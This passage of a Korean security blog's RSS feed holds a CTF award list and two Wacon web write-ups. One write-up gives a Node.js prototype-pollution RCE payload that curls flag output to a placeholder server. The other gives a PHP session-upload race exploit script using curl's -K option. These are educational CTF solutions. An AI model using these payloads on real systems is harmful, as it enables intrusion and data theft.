&lt;li&gt;2024 제5회 부산&amp;middot;울산 정보보안 경진대회 1위&lt;/li&gt;
&lt;li&gt;2022 1st, 사이버 가디언즈 경진대회&lt;/li&gt;
&lt;li&gt;2022 1st, Whitehat Contest&lt;/li&gt;
&lt;li&gt;2022 1st, The Hacking Championship Junior&lt;/li&gt;
&lt;li&gt;2022 1st, JBU CTF&lt;/li&gt;
&lt;li&gt;2022 3rd, codegate 2022&lt;/li&gt;
&lt;li&gt;2022 3rd, 사이버공격방어대회&lt;/li&gt;
&lt;li&gt;2022 1st, 모의 해킹 방어대회(교내)&lt;/li&gt;
&lt;li&gt;2022 1st, Wacon&lt;/li&gt;
&lt;li&gt;2022 2nd, YISF CTF&lt;/li&gt;
&lt;li&gt;2021 1st, 고등해커 페스티벌(교내)&lt;/li&gt;
&lt;li&gt;2021 2nd, 사이버 가디언즈 경진대회&lt;/li&gt;
&lt;li&gt;2021 4th, The Hacking Championship Junior&lt;/li&gt;
&lt;li&gt;2021 2nd, 서울여자대학교 정보보호영재교육원 제7회 정보보안 경진대회(단체전)&lt;/li&gt;
&lt;li&gt;2021 1st, 서울여자대학교 정보보호영재교육원 제7회 정보보안 경진대회(개인전)&lt;/li&gt;
&lt;li&gt;2021 1st, Whitehat Contest&lt;/li&gt;
&lt;li&gt;2021 4th, YISF CTF&lt;/li&gt;
&lt;li&gt;2021 3rd, ANU CTF&lt;/li&gt;
&lt;li&gt;2021 2nd, KOSPO 웹서비스 정보보안 경진대회&lt;/li&gt;
&lt;li&gt;2021 1st, 모의 해킹 방어대회(교내)&lt;/li&gt;
&lt;li&gt;2020 2nd, The Hacking Championship Junior&lt;/li&gt;
&lt;li&gt;2020 2nd, YISF CTF&lt;/li&gt;
&lt;li&gt;2020 1st, 고등해커 페스티벌(교내)&lt;/li&gt;
&lt;li&gt;2020 Finalist, Whitehat Contest&lt;/li&gt;
&lt;li&gt;2020 Finalist, Codegate CTF Junior&lt;/li&gt;
&lt;li&gt;2020 4th, 프로그래밍 경시대회(교내)&lt;/li&gt;
&lt;li&gt;2019 6th, YISF CTF&lt;/li&gt;
&lt;li&gt;2019 1st, Layer7 CTF&lt;/li&gt;
&lt;li&gt;2019 5th, Dimi CTF&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Awards with Super Guesser &lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2023 Finalist, DEFCON CTF 31&lt;/li&gt;
&lt;li&gt;2023 2nd, SSTF&lt;/li&gt;
&lt;li&gt;etc..&lt;/li&gt;
&lt;li&gt;2022 Finalist, DEFCON CTF 30&lt;/li&gt;
&lt;li&gt;2022 2nd, SSTF&lt;/li&gt;
&lt;li&gt;etc..&lt;/li&gt;
&lt;li&gt;2021 1st, SECCON CTF&lt;/li&gt;
&lt;li&gt;2021 1st, N1CTF&lt;/li&gt;
&lt;li&gt;2021 2nd, TSG CTF&lt;/li&gt;
&lt;li&gt;2021 3rd, Samsung CTF&lt;/li&gt;
&lt;li&gt;2021 Finalist, XCTF&lt;/li&gt;
&lt;li&gt;2021 1st, CyBRICS CTF&lt;/li&gt;
&lt;li&gt;2021 Finalist, Google CTF&lt;/li&gt;
&lt;li&gt;2021 1st, redpwn CTF&lt;/li&gt;
&lt;li&gt;2021 3rd, WeCTF&lt;/li&gt;
&lt;li&gt;2021 1st, S4CTF&lt;/li&gt;
&lt;li&gt;2021 1st, Securinets CTF&lt;/li&gt;
&lt;li&gt;2021 3rd, LINE CTF&lt;/li&gt;
&lt;li&gt;2021 3rd, Aero CTF&lt;/li&gt;
&lt;li&gt;2021 1st, Union CTF&lt;/li&gt;
&lt;li&gt;2021 3rd, UTCTF&lt;/li&gt;
&lt;li&gt;2021 2nd, TetCTF&lt;/li&gt;
&lt;li&gt;2021 1st, zer0pts CTF&lt;/li&gt;
&lt;li&gt;2021 6th, DEFCON CTF 29 Final&lt;/li&gt;
&lt;li&gt;2020 1st, HITCON CTF&lt;/li&gt;
&lt;li&gt;2020 1st, Balsn CTF&lt;/li&gt;
&lt;li&gt;2020 1st, KipodAfterFree CTF&lt;/li&gt;
&lt;li&gt;2020 2nd, pbctf&lt;/li&gt;
&lt;li&gt;2020 3rd, Tasteless CTF&lt;/li&gt;
&lt;li&gt;2020 1st, Poseidon CTF&lt;/li&gt;
&lt;li&gt;2020 3rd, hxpCTF&lt;/li&gt;
&lt;li&gt;2020 2nd, 3kCTF&lt;/li&gt;
&lt;li&gt;2020 2nd, NahamCon CTF&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Activity  ️&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2021 Skills CTF(교내 기능반 대회) 출제 및 운영&lt;/li&gt;
&lt;li&gt;2021 Layer7 CTF 출제 및 운영&lt;/li&gt;
&lt;li&gt;2022 Layer7 CTF 출제 및 운영&lt;/li&gt;
&lt;li&gt;2023 Cyber Conflict Exercise - aka 사이버공격방어대회 출제 및 운영&lt;/li&gt;
&lt;li&gt;2023 Codegate 출제 및 운영&lt;/li&gt;
&lt;li&gt;2023 Wacon 출제 및 운영&lt;/li&gt;
&lt;li&gt;2023 Fiesta 출제 및 운영&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Contacts ✉&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Email : &lt;code&gt;ksj111p@gmail.com&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Facebook : &lt;code&gt;https://www.facebook.com/dmawhwhd/&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Instagram : &lt;code&gt;https://www.instagram.com/dmawhwhd/&lt;/code&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;</description>
      <category>About me</category>
      <author>ash3r &amp;amp; dmawhwhd</author>
      <guid isPermaLink="true">https://dmawhwhd.tistory.com/5</guid>
      <comments>https://dmawhwhd.tistory.com/5#entry5comment</comments>
      <pubDate>Tue, 5 Jul 2022 03:58:44 +0900</pubDate>
    </item>
    <item>
      <title>Wacon - ppower</title>
      <link>https://dmawhwhd.tistory.com/6</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Wacon 예선에서는 풀지 못 했지만 문제 퀄리티가 모두 좋아서 못 푼 것이 아쉬워 풀어봤습니다. 분석했을 때 attack gadget을 찾지 못해서 풀지 못 했는데 끝나고 여쭤봤고 그 방법으로 공부하여 풀어보았습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1656958504806&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/env node
const express = require('express')
const childProcess = require('child_process')

const app = express()
const saved = Object.create(null)
const config = {}

const merge = function(t, src) {
    for(var v of Object.getOwnPropertyNames(src)) {
        if(typeof(src[v]) === 'object') {
        	if(!t[v]) t[v] = {}
            merge(t[v], src[v]);
        } else {
            t[v] = src[v];
        }
    }
    return t;
};

const sendFlag = (res)=&amp;gt;{
	try{
		// TODO: Fix the typo
		let flagggggggggggg = childProcess.execSync('/readflag',{
			env:Object.create(null),
			cwd:'/',
			timeout:1000
		});
		return res.send(flaggggggggggg) 
	} catch(e){console.log(e)}
	res.send(&quot;lol&quot;)
}

const recover = _=&amp;gt;{
	for(let v of Object.getOwnPropertyNames(Object.prototype)){
	    if(v in saved){
	    	Object.prototype[v] = saved[v]
	    } else {
	    	delete Object.prototype[v]
	    }
	}
}

app.get('/',(req,res)=&amp;gt;res.sendFile(`${process.cwd()}/index.html`))

app.get('/answer',(req,res)=&amp;gt;{
	let r = merge({},req.query)
	res.type('text/plain')
	console.log(req.query)
	if(r.answer == &quot;It's-none-of-your-business&quot;){
		console.log(config.constructor.prototype)
		if(!config.flagForEveryone){
			res.send(':(').end()
		} else {
			sendFlag(res)
		}
	} else {
		res.send('oh ok').end()
	}

	recover()
})

;(function(){
	for(let v of Object.getOwnPropertyNames(Object.prototype)){
	    saved[v] = Object.prototype[v]
		console.log(Object.prototype[v]);
	}
	Object.freeze(saved)
	
	if(process.env.flagForEveryone){
		config.flagForEveryone = true
	}
})()

app.listen(8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;app.js 소스 코드 입니다. 한 눈에 봤을 때 prototype pollution이 merge()에서 발생하는 것은 알 수 있습니다. 저희가 이제부터 해야할 것은 prototype pollution을 통해 process.env.flagForEveryone변수를 덮고 r.answer값을 덮어야합니다. 이는 &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;a style=&quot;letter-spacing: 0px;&quot; href=&quot;http://175.123.252.136:8080/answer?answer=It%27s-none-of-your-business&amp;amp;constructor[prototype][flagForEveryone]=1&quot;&gt;http://127.0.0.1:8080/answer?answer=It%27s-none-of-your-business&amp;amp;constructor[prototype][flagForEveryone]=1&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;와 같은 payload로 덮을 수 있습니다. 가능한 이유는 object의 prototype을 건들 수 있기에 가능합니다. env는 object이고 object.constructor.prototype을 통해 값을 덮을 수 있기에 flagForEveryone도 덮을 수 있게 되는 것입니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;307&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zbePj/btrGvoeQwMt/J5xsEUAZJXIgktZmDV0dW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zbePj/btrGvoeQwMt/J5xsEUAZJXIgktZmDV0dW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zbePj/btrGvoeQwMt/J5xsEUAZJXIgktZmDV0dW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzbePj%2FbtrGvoeQwMt%2FJ5xsEUAZJXIgktZmDV0dW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;307&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;307&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커 파일을 보면 redflag 파일을 /realreadflag로 넣어줍니다. 하지만 /readflag를 실행시키기에 sendFlag()를 통해 flag를 얻을 수 없습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;134&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAzrQQ/btrGsnBG4yc/wkqlzFhfd9ges0qDE6GK3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAzrQQ/btrGsnBG4yc/wkqlzFhfd9ges0qDE6GK3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAzrQQ/btrGsnBG4yc/wkqlzFhfd9ges0qDE6GK3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAzrQQ%2FbtrGsnBG4yc%2FwkqlzFhfd9ges0qDE6GK3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;507&quot; height=&quot;134&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;134&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게다가 argument에 flagflagflag를 넣어줘야 하기에 sendFlag()로는 어림도 없습니다. 그렇기에 저희는 prototype을 통해 rce를 얻어야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;prototype pollution로 &lt;span&gt;rce를 얻기 위해서는&lt;span&gt; attack gadget이 필요합니다. 유명한 gadget들로는 ejs, pug등 여러 module들이 있습니다. 하지만 여기서는 express와 child_process만 사용하기에 이 안에서 찾아야 했습니다. 그래서 소스에서 사용하는 함수는 child_process의 execSync()의 document를 보던 중 사용할 수 있는 option들을 찾았습니다.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1309&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wmMQO/btrGv5syjnW/4EENiv7uk6uZGUSOGlacT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wmMQO/btrGv5syjnW/4EENiv7uk6uZGUSOGlacT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wmMQO/btrGv5syjnW/4EENiv7uk6uZGUSOGlacT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwmMQO%2FbtrGv5syjnW%2F4EENiv7uk6uZGUSOGlacT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1309&quot; height=&quot;717&quot; data-origin-width=&quot;1309&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 shell과 input option입니다. shell은 원하는 명령어를 실행시켜주는 option이고 input은 받은 data를 stdin으로 넣어주는 option입니다. 저는 이 input과 shell option을 통하여 rce를 얻었습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://127.0.0.1:8000/answer?constructor[prototype][flagForEveryone]=1&amp;amp;constructor[prototype][shell]=/usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin/node-gyp&amp;amp;constructor[prototype][input]=require('child_process').execSync('curl 서버?a=`/realreadflag flagflagflag | base64`')&amp;amp;answer=It's-none-of-your-business&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;최종적인 payload입니다. shell로 저 파일을 실행시키는 이유는 stdin을 통하여 node를 실행시킬 수 있기 때문입니다.&lt;/div&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;86&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WS45D/btrGu4Hjf7R/r2TBNPlWhpeigTKgEM3adK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WS45D/btrGu4Hjf7R/r2TBNPlWhpeigTKgEM3adK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WS45D/btrGu4Hjf7R/r2TBNPlWhpeigTKgEM3adK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWS45D%2FbtrGu4Hjf7R%2Fr2TBNPlWhpeigTKgEM3adK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;86&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;86&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin/node-gyp 파일은 env에 있는 $npm_config_node_gyp와 stdin을 받아 node를 실행시켜 줍니다. 하지만 $npm_config_node_gyp는 설정되어 있지 않기에 stdin에서만 값을 받아와 node를 실행시킵니다. 그래서 node ~~js code~~ 하면 javascript code execution이 가능하기에 위와 같은 payload를 통하여 flag를 받아왔습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5YF4k/btrGso8qbyE/PKTXeZzyxsQdCbimfrWBh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5YF4k/btrGso8qbyE/PKTXeZzyxsQdCbimfrWBh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5YF4k/btrGso8qbyE/PKTXeZzyxsQdCbimfrWBh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5YF4k%2FbtrGso8qbyE%2FPKTXeZzyxsQdCbimfrWBh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1198&quot; height=&quot;328&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;shell과 input option의 존재를 모르는 것도 있었지만 /usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin/node-gyp 파일을 통하여 exploit하는 것은 너무나도 새로웠습니다. 아무리 생각해도 이런 attack gadget 찾는 방법을 모르겠습니다. 지금은 끝나고 조언을 통해 풀었지만 다른 gadget을 통하여 exploit하는 문제가 또 나온다면 풀기 힘들 것 같다고 생각했습니다. 이런 gadget을 찾는 방법은 따로 연구해봐야 할 것 같습니다.&lt;/p&gt;
&lt;div id=&quot;__endic_crx__&quot;&gt;
&lt;div class=&quot;css-diqpy0&quot;&gt;
&lt;div class=&quot;css-1fee8mz&quot;&gt;
&lt;div class=&quot;css-7gfopr&quot;&gt;
&lt;div class=&quot;css-1kx128h&quot;&gt;
&lt;div class=&quot;css-pix79b&quot;&gt;
&lt;div class=&quot;css-1d6xttj&quot;&gt;&lt;a class=&quot;css-1700ycd&quot; href=&quot;https://en.dict.naver.com/#/search?query=%EC%B6%A9%EA%B2%A9%EC%A0%81%EC%9D%B4%EC%97%88%EC%8A%B5%EB%8B%88%EB%8B%A4&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;충격적이었습니다&lt;/a&gt;&lt;button class=&quot;css-gceylj&quot;&gt;&lt;/button&gt;&lt;/div&gt;
&lt;div class=&quot;css-1kv9gp9&quot;&gt;
&lt;div class=&quot;css-0&quot;&gt;shocking&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;css-wvk9p3&quot;&gt;제안:&lt;button class=&quot;css-1fcwq0o&quot;&gt;충격적&lt;/button&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;css-1opwu8j&quot;&gt;
&lt;div class=&quot;css-v9kbwr&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;css-11c8vnq&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;__endic_crx__&quot;&gt;
&lt;div class=&quot;css-1abc5oq&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;</description>
      <category>CTF/web</category>
      <author>ash3r &amp;amp; dmawhwhd</author>
      <guid isPermaLink="true">https://dmawhwhd.tistory.com/6</guid>
      <comments>https://dmawhwhd.tistory.com/6#entry6comment</comments>
      <pubDate>Tue, 5 Jul 2022 03:57:54 +0900</pubDate>
    </item>
    <item>
      <title>Wacon - yet_another_baby_web</title>
      <link>https://dmawhwhd.tistory.com/4</link>
      <description>&lt;pre id=&quot;code_1656424523433&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
session_start();
if (!isset($_POST[&quot;url&quot;])) {
    highlight_file(__FILE__);
}

function uuid()
{
    $chars = md5(uniqid(mt_rand(), true));
    $uuid = substr($chars, 0, 8) . '-'
        . substr($chars, 8, 4) . '-'
        . substr($chars, 12, 4) . '-'
        . substr($chars, 16, 4) . '-'
        . substr($chars, 20, 12);
    return $uuid;
}

function Check($url)
{
    $blacklist = &quot;/\}|\{|\[|\]|\:|f|g|[\x01-\x1f]|[\x7f-\xff]|['\&quot;]/i&quot;;

    if (is_string($url)
        &amp;amp;&amp;amp; strlen($url) &amp;lt; 4096
        &amp;amp;&amp;amp; !preg_match($blacklist, $url)) {
        return true;
    }
    return false;
}

if (!isset($_SESSION[&quot;uuid&quot;])) {
    $_SESSION[&quot;uuid&quot;] = uuid();
}

echo $_SESSION[&quot;uuid&quot;].&quot;&amp;lt;/br&amp;gt;&quot;;

if (Check($_POST[&quot;url&quot;])) {
    $url = escapeshellarg($_POST[&quot;url&quot;]);
    $cmd = &quot;/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3&quot;;
    echo &quot;your command: &quot; . $cmd . &quot;&amp;lt;/br&amp;gt;&quot;;
    $res = shell_exec($cmd);
} else {
    die(&quot;error~&quot;);
}

if (strpos($res, $_SESSION[&quot;uuid&quot;]) !== false) {
    echo $res;
} else {
    echo &quot;you cannot get the result~&quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;div id=&quot;__endic_crx__&quot;&gt;
&lt;div class=&quot;css-1abc5oq&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 코드인데 curl 요청을 보내줍니다. 하지만 libcurl이 아닌 linux curl을 사용합니다. 이 부분에서 조금 이상하다 생각이 들었는데, linux curl 에서는 url 요청에서 [], {}등을 사용할 수가 있었습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;704&quot; data-origin-height=&quot;872&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z5ahc/btrFYwyRfWL/E75HedKPSiQIAVfw8r02jK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z5ahc/btrFYwyRfWL/E75HedKPSiQIAVfw8r02jK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z5ahc/btrFYwyRfWL/E75HedKPSiQIAVfw8r02jK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz5ahc%2FbtrFYwyRfWL%2FE75HedKPSiQIAVfw8r02jK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;704&quot; height=&quot;872&quot; data-origin-width=&quot;704&quot; data-origin-height=&quot;872&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 생각해보니 필터링이 걸려있어 다른 방법을 통해 풀어야했습니다. 그래서 찾은 option이 -K option입니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;1330&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzm2sD/btrFZlwNcwX/NFKN9uf3yyXR4xykP8kk7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzm2sD/btrFZlwNcwX/NFKN9uf3yyXR4xykP8kk7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzm2sD/btrFZlwNcwX/NFKN9uf3yyXR4xykP8kk7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdzm2sD%2FbtrFZlwNcwX%2FNFKN9uf3yyXR4xykP8kk7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;728&quot; height=&quot;1330&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;1330&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;config file -K option은 test해본 결과 curl &quot;-K/etc/passwd&quot;와 같이 &quot;&quot;안에 사용할 수 있어 이 문제에서 사용할 수 있다고 생각했습니다. 그러면 file upload를 해야하는데 이는 PHP_UPLOAD_PROGRESS를 통해 업로드 할 수 있었습니다. PHP_UPLOAD_PROGRESS는 세션파일을 upload할 수 있는 기능입니다. 파일이 생성되는 경로는 /var/lib/php/sessions/sess_~~로 저장되기에 원하는 config file을 업로드할 수 있었습니다. 하지만 session파일은 serialize되어 업로드 되고 다른 data들도 들어있기에 실패할 줄 알았지만 curl이 이해할 수 있는 config만 이해를 해서 \n\nurl=www.google.com\n\n을 하면 제대로 해석되어 요청을 보내게 됩니다. 그래서 저는 \n\nurl=flag:31337\n\n을 통해 flag container에 접근하여 flag를 받아오려했습니다. 하지만 uuid가 curl result에 포함되어야 하기에 \n\nurl={flag:31337, uuid}를 통해 uuid에 요청을 보내어 result에 포함시켰습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1656425529945&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests
from threading import Thread
import time

url = &quot;http://114.203.209.112:8000/index.phtml?fun_004ded7246=load&quot;
#proxies = {&quot;http&quot;:&quot;http://127.0.0.1:8080&quot;}

def init():
    url = 'http://110.10.147.146:8000'
    res = requests.get(url)
    sess = res.headers['Set-Cookie'].split(';')[0]
    uuid = res.text.split('&amp;lt;/code&amp;gt;')[1].split(&quot;&amp;lt;/br&amp;gt;&quot;)[0]
    return sess, uuid

def exploit(uuid):
    url = 'http://110.10.147.146:8000'
    headers = {'Cookie': 'PHPSESSID=payload', &quot;Connection&quot;:&quot;close&quot;}
    data = {'PHP_SESSION_UPLOAD_PROGRESS': '\n\nurl=&quot;{flag:31337,%s}&quot;\n\n'%uuid}
    pay = open(&quot;admin&quot;,&quot;rb&quot;)
    while True:
        res = requests.post(url, headers=headers, files={'f':pay}, data=data)
    pay.close()

def ssrf(sess):
    url = 'http://110.10.147.146:8000'
    headers = {'Cookie': sess, &quot;Connection&quot;:&quot;close&quot;}
    data = {'url':'-K/var/lib/php/sessions/sess_payload'}
    while True:
        res = requests.post(url, headers=headers, data=data)
        print res.text
        if(&quot;WACon&quot; in res.text):
           break


if __name__ == &quot;__main__&quot;:
    sess, uuid = init()
    t1 = Thread(target=exploit, args=(uuid,))
    t1.start()
    t2 = Thread(target=ssrf, args=(sess,))
    t2.start()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;thread를 나눈 이유는 curl 요청에서 세션 파일을 읽어와야하는데 이는 uuid로 세션 파일이 계속 설정되기에 계속 요청을 보내어 타이밍이 맞는 순간 제가 원하는 요청을 보내게 하기 위해서 이렇게 payload를 작성했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag: WACon{1s_this_w3b_0r_m1sc_IDK}&lt;/p&gt;</description>
